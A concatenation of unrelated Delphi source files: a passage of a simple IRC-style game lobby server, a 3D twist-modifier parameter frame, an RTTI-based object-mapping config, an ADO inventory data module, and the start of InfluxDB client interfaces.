if Command='NICK' then
begin
{if (Password<>IRCPassword) and (Password<>IRCPassword2) then
begin
SendLn(':'+ServerHost+' 464 '+S+' :Password incorrect');
raise Exception.Create('Bad password!');
end;}
if Nickname<>'' then
SendLn(':'+ServerHost+' 400 :Nick change isn''t supported.')
else
begin
for I:=Length(S) downto 1 do
if Pos(S[I], ValidNickChars)=0 then
Delete(S, I, 1);
if S='' then
SendLn(':'+ServerHost+' 432 '+S+' :Erroneous nickname')
else
begin
B := False;
for I:=0 to Length(Users)-1 do
if UpperCase(Users[I].Nickname)=UpperCase(S) then
B := True;
if B then
SendLn(':'+ServerHost+' 433 '+S+' :Nickname is already in use')
else
Nickname:=S;
if UserName<>'' then
LogIn;
end;
end;
end
else
// USER Username hostname servername :40 0 RO
if Command='USER' then
begin
Username:=Copy(S, 1, Pos(' ', S)-1);
Delete(S, 1, Pos(' ', S));
Hostname:=Copy(S, 1, Pos(' ', S)-1);
Delete(S, 1, Pos(' ', S));
Servername:=Copy(S, 1, Pos(' ', S)-1);
Delete(S, 1, Pos(':', S));
Realname:=S;
if Nickname<>'' then
LogIn;
end
else
if Command='QUIT' then
begin
// :CyberShadow!cybershado@38F7DF98.502358C0.F6DD7E74.IP QUIT :Input/output error
if InChannel then
for I:=0 to Length(Users)-1 do
if Users[I].InChannel then
Users[I].SendLn(':'+Nickname+'!'+Username+'@'+ConnectingFrom+' QUIT :'+Copy(S, 2, 1000));
InChannel := False;
Break
end
else
if Command='JOIN' then
begin
if Nickname='' then
SendLn(':'+ServerHost+' 451 :Register first.')
else
if InChannel then
SendLn(':'+ServerHost+' 403 '+Nickname+' '+S+' :You already are in a channel')
else
if S=IRCChannel then
begin
EventLog(Nickname+' ('+ConnectingFrom+') has joined #'+IRCChannel);
InChannel:=True;
//:CyberShadow-MD!Username@no.address.for.you JOIN :#AnythingGoes
for I:=0 to Length(Users)-1 do
if Users[I].InChannel then
begin
Users[I].SendLn(':'+Nickname+'!'+Username+'@'+ConnectingFrom+' JOIN :'+IRCChannel);
if Modes['o'] then
Users[I].SendLn(':'+ServerHost+' MODE '+IRCChannel+' +o '+Nickname);
end;
S:=':'+ServerHost+' 353 '+Nickname+' = '+IRCChannel+' :';
for I:=0 to Length(Users)-1 do
if Users[I].InChannel then
begin
if Users[I].Modes['o'] then
S:=S+'@';
S:=S+Users[I].Nickname+' ';
end;
SendLn(S);
SendLn(':'+ServerHost+' 366 '+Nickname+' '+IRCChannel+' :End of /NAMES list.');
end
else
SendLn(':'+ServerHost+' 403 '+Nickname+' '+S+' :No such channel');
end
else
if Command='PART' then
begin
if InChannel then
begin
EventLog(Nickname+' ('+ConnectingFrom+') has left #'+IRCChannel);
for I:=0 to Length(Users)-1 do
if Users[I].InChannel then
Users[I].SendLn(':'+Nickname+'!'+Username+'@'+ConnectingFrom+' PART '+S);
InChannel:=False;
end;
end
else
if Command='MODE' then
begin
Target:=Copy(S, 1, Pos(' ', S+' ')-1);
Delete(S, 1, Pos(':', S+':')-1);
if S<>'' then
SendLn(':'+ServerHost+' 472 '+Nickname+' :Sorry, you can''t set modes for anything.')
else
if Target=IRCChannel then
begin
SendLn(':'+ServerHost+' 324 '+Nickname+' '+IRCChannel+' +tn');
end
else
begin
User:=nil;
for I:=0 to Length(Users)-1 do
if Users[I].Nickname=Target then
User:=Users[I];
if User=nil then
SendLn(':'+ServerHost+' 401 '+Nickname+' '+Target+' :No such nick/channel.')
else
begin
S:='';
for C:=#0 to #255 do
if Modes[C] then
S:=S+C;
SendLn(':'+ServerHost+' 324 '+Nickname+' '+Target+' +'+S);
end;
end;
end
else
if(Command='PRIVMSG')or(Command='NOTICE') then
begin
if Nickname='' then
SendLn(':'+ServerHost+' 451 :Register first.')
else
begin
Target:=Copy(S, 1, Pos(' ', S+' ')-1);
Delete(S, 1, Pos(':', S+':')-1);
if Target=IRCChannel then
begin
EventLog('['+IRCChannel+'] <'+Nickname+'> '+Copy(S, 1, 1000));
for I:=0 to Length(Users)-1 do
if Users[I].InChannel and (Users[I]<>Self)then
Users[I].SendLn(':'+Nickname+'!'+Username+'@'+ConnectingFrom+' '+Command+' '+IRCChannel+' '+S);
end
else
begin
User:=nil;
for I:=0 to Length(Users)-1 do
if LowerCase(Users[I].Nickname)=LowerCase(Target) then
User:=Users[I];
if User=nil then
SendLn(':'+ServerHost+' 401 '+Nickname+' '+Target+' :No such nick/channel.')
else
begin
Target := User.Nickname;
EventLog('['+Command+'] <'+Nickname+'> -> <'+Target+'> '+Copy(S, 1, 1000));
LogToOper('['+Command+'] <'+Nickname+'> -> <'+Target+'> '+Copy(S, 1, 1000));
User.SendLn(':'+Nickname+'!'+Username+'@'+ConnectingFrom+' '+Command+' '+Target+' '+S);
end;
end;
Sleep(1000); // throttle
end;
end
else
if Command='OPER' then
begin
if Copy(S, 1, Pos(' ', S+' ')-1)<>IRCOperPassword then
Delete(S, 1, Pos(' ', S+' ')); // ignore username
if S=IRCOperPassword then
begin
EventLog(Nickname+' ('+ConnectingFrom+') has registered as an Operator.');
Modes['o']:=True;
SendLn(':'+Nickname+' MODE '+Nickname+' :+o');
if InChannel then
for I:=0 to Length(Users)-1 do
if Users[I].InChannel then
Users[I].SendLn(':'+ServerHost+' MODE '+IRCChannel+' +o '+Nickname);
end
end
else
if Command='WHO' then
begin
//:wormnet1.team17.com 352 Alexis #AnythingGoes Username no.address.for.you wormnet1.team17.com TiCPU H :0 TiCpu
//:wormnet1.team17.com 315 Alexis * :End of /WHO list.
for I:=0 to Length(Users)-1 do
if Users[I].InChannel then
SendLn(':'+ServerHost+' 352 '+Nickname+' '+IRCChannel+' '+Users[I].Username+' '+Users[I].ConnectingFrom+' '+ServerHost+' '+Users[I].Nickname+' H :0 '+Users[I].Realname)
else
SendLn(':'+ServerHost+' 352 '+Nickname+' * '+Users[I].Username+' '+Users[I].ConnectingFrom+' '+ServerHost+' '+Users[I].Nickname+' H :0 '+Users[I].Realname);
SendLn(':'+ServerHost+' 315 '+Nickname+' * :End of /WHO list.');
end
else
if Command='LIST' then
begin
N:=0;
for I:=0 to Length(Users)-1 do
if Users[I].InChannel then
Inc(N);
SendLn(':'+ServerHost+' 321 '+Nickname+' Channel :Users Name');
SendLn(':'+ServerHost+' 322 '+Nickname+' '+IRCChannel+' '+IntToStr(N)+' :');
SendLn(':'+ServerHost+' 323 '+Nickname+' :End of /LIST');
end
else
if Command='EXPECT' then
begin
Log('Received EXPECT command from '+ConnectingFrom+' for '+S);;
User:=nil;
for I:=0 to Length(Users)-1 do
if Users[I].Nickname=S then
User:=Users[I];
if User=nil then
SendLn(':'+ServerHost+' 401 '+S+' :No such nick.')
else
begin
SendLn(':'+ServerHost+' NOTICE '+Nickname+' :OK, expecting '+User.Nickname+' from '+User.ConnectingFrom);
PrepareLink(Self, User);
end;
end
else
if Command='GAMES' then
begin
for I:=0 to Length(Games)-1 do
with Games[I] do
SendLn(':'+ServerHost+' NOTICE '+Nickname+' :'+Name+' '+HosterNickname+' '+HosterAddress);
SendLn(':'+ServerHost+' NOTICE '+Nickname+' :--- '+IntToStr(Length(Games))+' games total ---');
end
else
SendLn(':'+ServerHost+' 421 '+Nickname+' '+Command+' :Unknown command');
end;
Inc(PingTimer);
if PingTimer=18000 then
SendLn('PING :'+ServerHost);
if PingTimer=24000 then
begin
if InChannel then
for I:=0 to Length(Users)-1 do
if Users[I].InChannel then
Users[I].SendLn(':'+Nickname+'!'+Username+'@'+ConnectingFrom+' QUIT :Ping timeout');
closesocket(Socket); Socket:=0;
Break;
end;
until Socket=0;
Log('[IRC] Closing link to '+ConnectingFrom);
closesocket(Socket);
except
on E: Exception do
begin
if InChannel then
for I:=0 to Length(Users)-1 do
if Users[I].InChannel then
try
Users[I].SendLn(':'+Nickname+'!'+Username+'@'+ConnectingFrom+' QUIT :'+E.Message);
except
end;
Log('[IRC] Error with '+ConnectingFrom+' : '+E.Message);
end;
end;
if Socket<>0 then
closesocket(Socket); // ignore errors
Socket:=0;
EventLog(Nickname+' ('+ConnectingFrom+') has disconnected.');
// TODO: add some sync lock or something here
N:=-1;
for I:=0 to Length(Users)-1 do
if Users[I]=Self then
N:=I;
if N=-1 then
Log(ConnectingFrom+': WTF can''t find myself!')
else
begin
for I:=N to Length(Users)-2 do
Users[I]:=Users[I+1];
SetLength(Users, Length(Users)-1);
end;
FreeOnTerminate:=True;
end;
procedure TUser.SendLn(S: string);
begin
if Socket=0 then Exit;
WriteLn('['+TimeToStr(Now)+'] > '+S);
S:=S+#13#10;
if send(Socket, S[1], Length(S), 0)<>Length(S) then
begin
Socket:=0; // avoid infinite recursion
Log('[IRC > Failed ('+WinSockErrorCodeStr(WSAGetLastError)+') ]');
end;
end;
// ***************************************************************
function MainProc(Nothing: Pointer): Integer; stdcall;
var
m_socket, AcceptSocket: TSocket;
service, incoming: TSockAddrIn;
T: Integer;
User: TUser;
begin
Result:=0;
m_socket := socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
service.sin_family := AF_INET;
service.sin_addr.s_addr := inet_addr( '0.0.0.0' );
service.sin_port := htons( IRCPort );
if bind(m_socket, service, sizeof(service))=SOCKET_ERROR then
begin
Log('[IRC] bind error ('+WinSockErrorCodeStr(WSAGetLastError)+').');
Exit;
end;
if listen( m_socket, 1 )=SOCKET_ERROR then
begin
Log('[IRC] bind error ('+WinSockErrorCodeStr(WSAGetLastError)+').');
Exit;
end;
Log('[IRC] Listening on port '+IntToStr(IRCPort)+'.');
repeat
T:=SizeOf(incoming);
AcceptSocket := accept( m_socket, @incoming, @T );
if AcceptSocket<>INVALID_SOCKET then
begin
T:=SizeOf(incoming);
Log('[IRC] Connection established from '+inet_ntoa(incoming.sin_addr));
User:=TUser.Create(True);
User.Socket:=AcceptSocket;
User.ConnectingFrom:=inet_ntoa(incoming.sin_addr);
User.Modes['s']:=True;
SetLength(Users, Length(Users)+1);
Users[Length(Users)-1]:=User;
User.Resume;
end
else
Sleep(5);
until False;
end;
procedure LogToOper(S: string);
var
I: Integer;
begin
for I:=0 to Length(Users)-1 do
if Users[I].Modes['o'] then
Users[I].SendLn(':'+ServerHost+' NOTICE '+Users[I].Nickname+' :'+S);
end;
var
ThreadID: Cardinal = 0;
procedure StartIRCServer;
begin
if ThreadID=0 then // start only once
CreateThread(nil, 0, @MainProc, nil, 0, ThreadID);
end;
end.
|
unit GLDTwistParamsFrame;
interface
uses
Classes, Controls, Forms, ComCtrls, StdCtrls, GL,
GLDTypes, GLDSystem, GLDAxisFrame, GLDModifyLimitEffectFrame, GLDUpDown;
type
TGLDTwistParamsFrame = class(TFrame)
GB_Twist: TGroupBox;
L_Angle: TLabel;
E_Angle: TEdit;
UD_Angle: TGLDUpDown;
F_Axis: TGLDAxisFrame;
F_LimitEffect: TGLDModifyLimitEffectFrame;
procedure ValueChange(Sender: TObject);
procedure AxisChange(Sender: TObject);
procedure EditEnter(Sender: TObject);
private
FDrawer: TGLDDrawer;
procedure SetDrawer(Value: TGLDDrawer);
protected
procedure Notification(AComponent: TComponent; Operation: TOperation); override;
public
constructor Create(AOwner: TComponent); override;
function HaveTwist: GLboolean;
function GetParams: TGLDTwistParams;
procedure SetParams(const Params: TGLDTwistParams);
procedure SetParamsFrom(Source: TPersistent);
procedure ApplyParams;
property Drawer: TGLDDrawer read FDrawer write SetDrawer;
end;
implementation
{$R *.dfm}
uses
SysUtils, GLDConst, GLDX, GLDModify;
constructor TGLDTwistParamsFrame.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FDrawer := nil;
F_Axis.OnAxisChange := Self.AxisChange;
end;
function TGLDTwistParamsFrame.HaveTwist: GLboolean;
begin
Result := False;
if Assigned(FDrawer) and
Assigned(FDrawer.EditedModify) and
(FDrawer.EditedModify is TGLDTwist) then
Result := True;
end;
function TGLDTwistParamsFrame.GetParams: TGLDTwistParams;
begin
if HaveTwist then
Result.Center := TGLDTwist(FDrawer.EditedModify).Center.Vector3f
else Result.Center := GLD_VECTOR3F_ZERO;
Result.Angle := UD_Angle.Position;
Result.Axis := F_Axis.Axis;
Result.LimitEffect := F_LimitEffect.CB_LimitEffect.Checked;
Result.UpperLimit := F_LimitEffect.UD_UpperLimit.Position;
Result.LowerLimit := F_LimitEffect.UD_LowerLimit.Position;
end;
procedure TGLDTwistParamsFrame.SetParams(const Params: TGLDTwistParams);
begin
UD_Angle.Position := Params.Angle;
F_Axis.Axis := Params.Axis;
F_LimitEffect.SetParams(Params.LimitEffect, Params.UpperLimit, Params.LowerLimit);
end;
procedure TGLDTwistParamsFrame.SetParamsFrom(Source: TPersistent);
begin
if Assigned(Source) and (Source is TGLDTwist) then
SetParams(TGLDTwist(Source).Params);
end;
procedure TGLDTwistParamsFrame.ApplyParams;
begin
if HaveTwist then
TGLDTwist(FDrawer.EditedModify).Params := GetParams;
end;
procedure TGLDTwistParamsFrame.ValueChange(Sender: TObject);
begin
if HaveTwist then
with TGLDTwist(FDrawer.EditedModify) do
if Sender = UD_Angle then
Angle := UD_Angle.Position else
if Sender = F_LimitEffect.CB_LimitEffect then
LimitEffect := F_LimitEffect.CB_LimitEffect.Checked else
if Sender = F_LimitEffect.UD_UpperLimit then
UpperLimit := F_LimitEffect.UD_UpperLimit.Position else
if Sender = F_LimitEffect.UD_LowerLimit then
LowerLimit := F_LimitEffect.UD_LowerLimit.Position;
end;
procedure TGLDTwistParamsFrame.AxisChange(Sender: TObject);
begin
if not Assigned(FDrawer) then Exit;
if not Assigned(FDrawer.EditedModify) then Exit;
if not (FDrawer.EditedModify is TGLDTwist) then Exit;
with TGLDTwist(FDrawer.EditedModify) do
Axis := F_Axis.Axis;
end;
procedure TGLDTwistParamsFrame.EditEnter(Sender: TObject);
begin
ApplyParams;
end;
procedure TGLDTwistParamsFrame.Notification(AComponent: TComponent; Operation: TOperation);
begin
if Assigned(FDrawer) and (AComponent = FDrawer.Owner) and
(Operation = opRemove) then FDrawer := nil;
inherited Notification(AComponent, Operation);
end;
procedure TGLDTwistParamsFrame.SetDrawer(Value: TGLDDrawer);
begin
FDrawer := Value;
if Assigned(Drawer) then
SetParamsFrom(FDrawer.EditedModify);
end;
end.
|
unit Nathan.ObjectMapping.Config;
interface
uses
System.SysUtils,
System.Rtti,
System.Generics.Defaults,
System.Generics.Collections,
Nathan.ObjectMapping.Types,
Nathan.ObjectMapping.NamingConvention;
{$M+}
type
INathanObjectMappingConfig<S, D> = interface
['{9D498376-8130-4E82-AA98-066CA9833685}']
function Clean(): INathanObjectMappingConfig<S, D>; overload;
function NamingConvention(): INamingConvention; overload;
function NamingConvention(AValue: INamingConvention): INathanObjectMappingConfig<S, D>; overload;
function NamingConvention(AValue: TFunc<INamingConvention>): INathanObjectMappingConfig<S, D>; overload;
function CreateMap(): INathanObjectMappingConfig<S, D>;
function UserMap(AMappingProc: TProc<S, D>): INathanObjectMappingConfig<S, D>;
function UserMapReverse(AMappingProc: TProc<D, S>): INathanObjectMappingConfig<S, D>;
function GetMemberMap(): TDictionary<string, TMappedSrcDest>;
function GetUserMap(): TList<TProc<S, D>>;
function GetUserMapReverse(): TList<TProc<D, S>>;
end;
// TNathanObjectMappingConfig<S, D: class> = class(TInterfacedObject, INathanObjectMappingConfig<S, D>)
TNathanObjectMappingConfig<S, D> = class(TInterfacedObject, INathanObjectMappingConfig<S, D>)
strict private
FListOfPropNameSource: TArray<TCoreMapDetails>;
FListOfPropNameDestination: TArray<TCoreMapDetails>;
FDict: TDictionary<string, TMappedSrcDest>;
FUserMapList: TList<TProc<S, D>>;
FUserMapListReverse: TList<TProc<D, S>>;
FNamingConvention: INamingConvention;
private
function GetAllProps(AInnerRttiType: TRttiType): TArray<TCoreMapDetails>;
procedure Collate(ASrc, ADest: TArray<TCoreMapDetails>; ANamingConvention: INamingConvention);
public
constructor Create(); overload;
destructor Destroy; override;
function NamingConvention(): INamingConvention; overload;
function NamingConvention(AValue: INamingConvention): INathanObjectMappingConfig<S, D>; overload;
function NamingConvention(AValue: TFunc<INamingConvention>): INathanObjectMappingConfig<S, D>; overload;
function Clean(): INathanObjectMappingConfig<S, D>; overload;
function CreateMap(): INathanObjectMappingConfig<S, D>;
function UserMap(AMappingProc: TProc<S, D>): INathanObjectMappingConfig<S, D>;
function UserMapReverse(AMappingProc: TProc<D, S>): INathanObjectMappingConfig<S, D>;
function GetMemberMap(): TDictionary<string, TMappedSrcDest>;
function GetUserMap(): TList<TProc<S, D>>;
function GetUserMapReverse(): TList<TProc<D, S>>;
end;
{$M-}
implementation
uses
System.Types,
System.TypInfo,
Nathan.TArrayHelper;
constructor TNathanObjectMappingConfig<S, D>.Create;
begin
inherited Create();
FDict := TDictionary<string, TMappedSrcDest>.Create;
FUserMapList := TList<TProc<S, D>>.Create;
FUserMapListReverse := TList<TProc<D, S>>.Create;
FNamingConvention := nil;
end;
destructor TNathanObjectMappingConfig<S, D>.Destroy;
begin
FDict.Free;
FUserMapList.Free;
FUserMapListReverse.Free;
inherited;
end;
function TNathanObjectMappingConfig<S, D>.NamingConvention: INamingConvention;
begin
Result := FNamingConvention;
end;
function TNathanObjectMappingConfig<S, D>.NamingConvention(AValue: INamingConvention): INathanObjectMappingConfig<S, D>;
begin
FNamingConvention := AValue;
Result := Self;
end;
function TNathanObjectMappingConfig<S, D>.NamingConvention(AValue: TFunc<INamingConvention>): INathanObjectMappingConfig<S, D>;
begin
FNamingConvention := AValue;
Result := Self;
end;
function TNathanObjectMappingConfig<S, D>.GetAllProps(AInnerRttiType: TRttiType): TArray<TCoreMapDetails>;
var
RField: TRttiField;
RProp: TRttiProperty;
RMeth: TRttiMethod;
Fill: TFunc<TMappingType, TRttiMember, TTypeKind, TCoreMapDetails>;
begin
Fill :=
function(AMT: TMappingType; ARM: TRttiMember; ATK: TTypeKind): TCoreMapDetails
begin
Result.RttiTypeName := AInnerRttiType.ToString;
Result.Name := ARM.Name;
Result.TypeOfWhat := ATK;
Result.MappingType := AMT;
Result.MemberClass := ARM;
end;
// All Fields...
for RField in AInnerRttiType.GetDeclaredFields do
TArray.Add<TCoreMapDetails>(Result, Fill(mtField, RField, RField.FieldType.TypeKind));
// Here we get all properties include inherited...
for RProp in AInnerRttiType.GetDeclaredProperties do
TArray.Add<TCoreMapDetails>(Result, Fill(mtProperty, RProp, RProp.PropertyType.TypeKind), [ahoIgnoreDuplicates]);
// All Method...
for RMeth in AInnerRttiType.GetDeclaredMethods do
begin
if ((RMeth.MethodKind <> mkFunction) or (Length(RMeth.GetParameters) > 1)) then
Continue;
TArray.Add<TCoreMapDetails>(Result, Fill(mtMethod, RMeth, RMeth.ReturnType.TypeKind), [ahoIgnoreDuplicates]);
end;
end;
function TNathanObjectMappingConfig<S, D>.Clean: INathanObjectMappingConfig<S, D>;
begin
FDict.Clear;
FUserMapList.Clear;
FUserMapListReverse.Clear;
TArray.Clear<TCoreMapDetails>(FListOfPropNameSource);
TArray.Clear<TCoreMapDetails>(FListOfPropNameDestination);
Result := Self;
end;
procedure TNathanObjectMappingConfig<S, D>.Collate(ASrc, ADest: TArray<TCoreMapDetails>; ANamingConvention: INamingConvention);
var
Mapped: TMappedSrcDest;
IdxS, IdxD: Integer;
begin
if (not Assigned(ANamingConvention)) then
ANamingConvention := TLowerNamingConvention.Create(TNamingConvention.Create);
for IdxD := Low(ADest) to High(ADest) do
begin
for IdxS := Low(ASrc) to High(ASrc) do
begin
if (ASrc[IdxS].TypeOfWhat = ADest[IdxD].TypeOfWhat)
and (ANamingConvention.GenerateKeyName(ASrc[IdxS].Name) = ANamingConvention.GenerateKeyName(ADest[IdxD].Name)) then
begin
Mapped[msdSource] := ASrc[IdxS];
Mapped[msdDestination] := ADest[IdxD];
FDict.AddOrSetValue(ANamingConvention.GenerateKeyName(ASrc[IdxS].Name), Mapped);
end;
end;
end;
end;
function TNathanObjectMappingConfig<S, D>.CreateMap: INathanObjectMappingConfig<S, D>;
var
RTypeS: TRttiType;
RTypeD: TRttiType;
begin
// We assume it's all been done before...
if (High(FListOfPropNameSource) > -1)
or (High(FListOfPropNameDestination) > -1) then
Exit(Self);
RTypeS := TRTTIContext.Create.GetType(TypeInfo(S)); // RTypeS := TRTTIContext.Create.GetType(ASource.ClassType);
RTypeD := TRTTIContext.Create.GetType(TypeInfo(D));
FListOfPropNameSource := GetAllProps(RTypeS);
FListOfPropNameDestination := GetAllProps(RTypeD);
Collate(FListOfPropNameSource, FListOfPropNameDestination, FNamingConvention);
Result := Self;
end;
function TNathanObjectMappingConfig<S, D>.UserMap(AMappingProc: TProc<S, D>): INathanObjectMappingConfig<S, D>;
begin
if Assigned(AMappingProc) then
FUserMapList.Add(AMappingProc);
Result := Self;
end;
function TNathanObjectMappingConfig<S, D>.UserMapReverse(AMappingProc: TProc<D, S>): INathanObjectMappingConfig<S, D>;
begin
if Assigned(AMappingProc) then
FUserMapListReverse.Add(AMappingProc);
Result := Self;
end;
function TNathanObjectMappingConfig<S, D>.GetMemberMap: TDictionary<string, TMappedSrcDest>;
begin
Result := FDict;
end;
function TNathanObjectMappingConfig<S, D>.GetUserMap: TList<TProc<S, D>>;
begin
Result := FUserMapList;
end;
function TNathanObjectMappingConfig<S, D>.GetUserMapReverse: TList<TProc<D, S>>;
begin
Result := FUserMapListReverse;
end;
end.
|
unit uDMInventory;
interface
uses
SysUtils, Classes, DB, ADODB, Variants;
type
TDMInventory = class(TDataModule)
quQtyDifference: TADODataSet;
cmdInsInventoryMov: TADOCommand;
quModelExist: TADODataSet;
quCategory: TADODataSet;
cmdInsertModelPriceLog: TADOCommand;
spLotAdjust: TADOStoredProc;
procedure DataModuleCreate(Sender: TObject);
procedure DataModuleDestroy(Sender: TObject);
private
FSQLConnection: TADOConnection;
FLogError: TStringList;
procedure InsertInventoryMov(AIDStore, AIDModel, AIDUser,
AIDMovType: Integer; AQty: Double);
function GetQtyDifference(AIDStore, AIDModel: Integer; AQty: Double): Double;
public
procedure ZeroInventory(AIDStore, AIDModel, AIDUser: Integer);
procedure AddInventory(AIDStore, AIDModel, AIDUser: Integer; AQty: Double);
procedure ReplaceInventory(AIDStore, AIDModel, AIDUser: Integer; AQty: Double);
procedure ModelPriceLog(AIDModel, AIDUser, AIDStore : Integer;
AOldCost, ANewCost, AOldSale, ANewSale : Currency);
function GetValidModelCode: String;
function GetModelType(IDCategory:Integer):Char;
function LotAdjust(AIDModel, AIDStore, AIDLot : Integer; AQty : Double; AType : Integer):Boolean;
property SQLConnection: TADOConnection read FSQLConnection write FSQLConnection;
property LogError: TStringList read FLogError write FLogError;
end;
implementation
uses uDM, uSystemConst;
{$R *.dfm}
{ TDMInventory }
procedure TDMInventory.AddInventory(AIDStore, AIDModel, AIDUser: Integer;
AQty: Double);
begin
InsertInventoryMov(AIDStore, AIDModel, AIDUser, INV_MOVTYPE_INCREASEONHAND, AQty);
end;
function TDMInventory.GetQtyDifference(AIDStore, AIDModel: Integer;
AQty: Double): Double;
begin
with quQtyDifference do
try
Connection := SQLConnection;
Parameters.ParamByName('IDStore').Value := AIDStore;
Parameters.ParamByName('IDModel').Value := AIDModel;
Open;
Result := AQty - FieldByName('QtyOnHand').AsFloat;
finally
Close;
end;
end;
procedure TDMInventory.InsertInventoryMov(AIDStore, AIDModel, AIDUser,
AIDMovType: Integer; AQty: Double);
begin
with cmdInsInventoryMov do
try
Connection := SQLConnection;
Parameters.ParamByName('IDInventoryMov').Value := DM.GetNextID(MR_INVENTORY_MOV_ID);
Parameters.ParamByName('InventMovTypeID').Value := AIDMovType;
Parameters.ParamByName('DocumentID').Value := 0;
Parameters.ParamByName('IDStore').Value := AIDStore;
Parameters.ParamByName('IDModel').Value := AIDModel;
Parameters.ParamByName('MovDate').Value := Now;
Parameters.ParamByName('Qty').Value := AQty;
Parameters.ParamByName('IDUser').Value := AIDUser;
Execute;
except
on E: Exception do
FLogError.Add('' + E.Message);
end;
end;
procedure TDMInventory.ReplaceInventory(AIDStore, AIDModel, AIDUser: Integer;
AQty: Double);
var
iIDMovType: Integer;
dQty: Double;
begin
dQty := GetQtyDifference(AIDStore, AIDModel, AQty);
if dQty > 0 then
iIDMovType := INV_MOVTYPE_INCREASEONHAND
else
iIDMovType := INV_MOVTYPE_DECREASEONHAND;
InsertInventoryMov(AIDStore, AIDModel, AIDUser, iIDMovType, Abs(dQty));
end;
procedure TDMInventory.ZeroInventory(AIDStore, AIDModel, AIDUser: Integer);
var
iIDMovType: Integer;
dQty: Double;
begin
dQty := GetQtyDifference(AIDStore, AIDModel, 0);
if dQty > 0 then
iIDMovType := INV_MOVTYPE_RESETUPTOZERO
else
iIDMovType := INV_MOVTYPE_RESETDOWNTOZERO;
InsertInventoryMov(AIDStore, AIDModel, AIDUser, iIDMovType, Abs(dQty));
end;
procedure TDMInventory.DataModuleCreate(Sender: TObject);
begin
FLogError := TStringList.Create;
end;
procedure TDMInventory.DataModuleDestroy(Sender: TObject);
begin
FreeAndNil(FLogError);
end;
function TDMInventory.GetValidModelCode: String;
var
bValidModel: Boolean;
begin
bValidModel := False;
while not bValidModel do
try
Result := IntToStr(DM.GetNextID('Model.Model'));
quModelExist.Parameters.ParamByName('Model').Value := Result;
quModelExist.Open;
bValidModel := quModelExist.IsEmpty;
finally
quModelExist.Close;
end;
end;
function TDMInventory.GetModelType(IDCategory: Integer): Char;
begin
Result := MODEL_TYPE_REGULAR;
with quCategory do
try
if not(Active) then
Open;
if Locate('IDGroup', IDCategory, []) then
begin
if FieldByName('SizeAndColor').AsBoolean then
Result := MODEL_TYPE_MASTER
else if FieldByName('PackModel').AsBoolean then
Result := MODEL_TYPE_PACKAGE
else if FieldByName('Service').AsBoolean then
Result := MODEL_TYPE_SERVICE
else if FieldByName('Credit').AsBoolean then
Result := MODEL_TYPE_CREDIT
else if FieldByName('GiftCard').AsBoolean then
Result := MODEL_TYPE_GIFTCARD;
end;
finally
Close;
end;
end;
procedure TDMInventory.ModelPriceLog(AIDModel, AIDUser, AIDStore: Integer;
AOldCost, ANewCost, AOldSale, ANewSale: Currency);
begin
with cmdInsertModelPriceLog do
try
Parameters.ParamByName('IDModelPriceLog').Value := DM.GetNextID('ModelPriceLog.IDModelPriceLog');
Parameters.ParamByName('IDModel').Value := AIDModel;
Parameters.ParamByName('IDUser').Value := AIDUser;
if AIDStore = 0 then
Parameters.ParamByName('IDStore').Value := NULL
else
Parameters.ParamByName('IDStore').Value := AIDStore;
Parameters.ParamByName('ChangeDate').Value := Now;
Parameters.ParamByName('OldCostPrice').Value := AOldCost;
Parameters.ParamByName('NewCostPrice').Value := ANewCost;
Parameters.ParamByName('OldSalePrice').Value := AOldSale;
Parameters.ParamByName('NewSalePrice').Value := ANewSale;
Execute;
except
on E: Exception do
FLogError.Add('' + E.Message);
end;
end;
function TDMInventory.LotAdjust(AIDModel, AIDStore, AIDLot: Integer;
AQty: Double; AType: Integer): Boolean;
var
iError : Integer;
begin
try
with spLotAdjust do
begin
Parameters.ParambyName('@IDModel').Value := AIDModel;
Parameters.ParamByName('@IDStore').Value := AIDStore;
Parameters.ParamByName('@IDLot').Value := AIDLot;
Parameters.ParamByName('@Qty').Value := AQty;
Parameters.ParamByName('@Type').Value := AType;
ExecProc;
iError := Parameters.ParamByName('@RETURN_VALUE').Value;
end;
if iError = 0 then
Result := True
else
Result := False;
except
Result := False;
end;
end;
end.
|
unit InfluxDB.Interfaces;
interface
uses
System.SysUtils,
System.StrUtils,
System.DateUtils,
System.RTTI,
System.Net.HttpClient,
System.Generics.Collections;
type
TDurationUnit = (duWeek, duDay, duHour, duMinute, duSecond, duMillisecond, duMicrosecond, duNanosecond);
TResultRecord = record
Columns: TArray<TPair<String, TValue>>;
function Count: Integer;
end;
TResultSerie = class
Name: String;
Columns: TArray<String>;
Values: TArray<TResultRecord>;
function Count: Integer;
constructor Create;
end;
TResultStatement = record
Id: Integer;
Series: TArray<TResultSerie>;
end;
TInfluxValue = record
Measurement: String;
Tags: TArray<TPair<String, String>>;
Fields: TArray<TPair<String, TValue>>;
TimeStamp: TDateTime;
constructor Create(AMeasurement: String; ATimeStamp: TDateTime = 0);
function AddField(AField: String; AValue: TValue): Integer;
function AddTag(ATag, AValue: String): Integer;
function AsString: String;
end;
IInfluxResult = interface
['{84DFCBCF-00B9-4ECD-965E-92478C943439}']
function GetHTTPResponse: IHTTPResponse;
function GetResult: TArray<TResultStatement>;
function GetNameValues: TArray<String>;
property Response: IHTTPResponse read GetHTTPResponse;
property Result: TArray<TResultStatement> read GetResult;
end;
IInfluxRequest = interface
['{7F42EF85-6B16-4014-A486-A4C0F60C482B}']
function CreateDatabase(DatabaseName: String; Duration: Integer; DurationUnit: TDurationUnit = duDay): Boolean; overload;
function CreateDatabase(DatabaseName: String; Duration: Integer; out Response: IHTTPResponse; DurationUnit: TDurationUnit = duDay): Boolean; overload;
function ShowDatabases: TArray<String>;
function ShowMeasurements(Database: String): TArray<String>;
function ServerVersion: String;
function Query(Database: String; QueryString: String): IInfluxResult; overload;
function Write(Database: String; ValueString: String): Boolean; overload;
function Write(Database: String; ValueString: String; out Response: IHTTPResponse): Boolean; overload;
function Write(Database: String; Value: TInfluxValue): Boolean; overload;
function Write(Database: String; Value: TInfluxValue; out Response: IHTTPResponse): Boolean; overload;
end;
IInfluxDB = interface(IInfluxRequest)
['{15BD87B7-CFAD-47DF-BCD7-DC5DA8D61ECC}']
end;
implementation
{ TInfluxDBValue }
function TInfluxValue.AddField(AField: String; AValue: TValue): Integer;
var
Val: TPair<String, TValue>;
begin
Val.Key := AField;
Val.Value := AValue;
Result := Length(Fields);
SetLength(Fields, Result +1);
Fields[Result] := Val;
end;
function TInfluxValue.AddTag(ATag, AValue: String): Integer;
var
Val: TPair<String, String>;
begin
Val.Key := ATag;
Val.Value := AValue;
Result := Length(Tags);
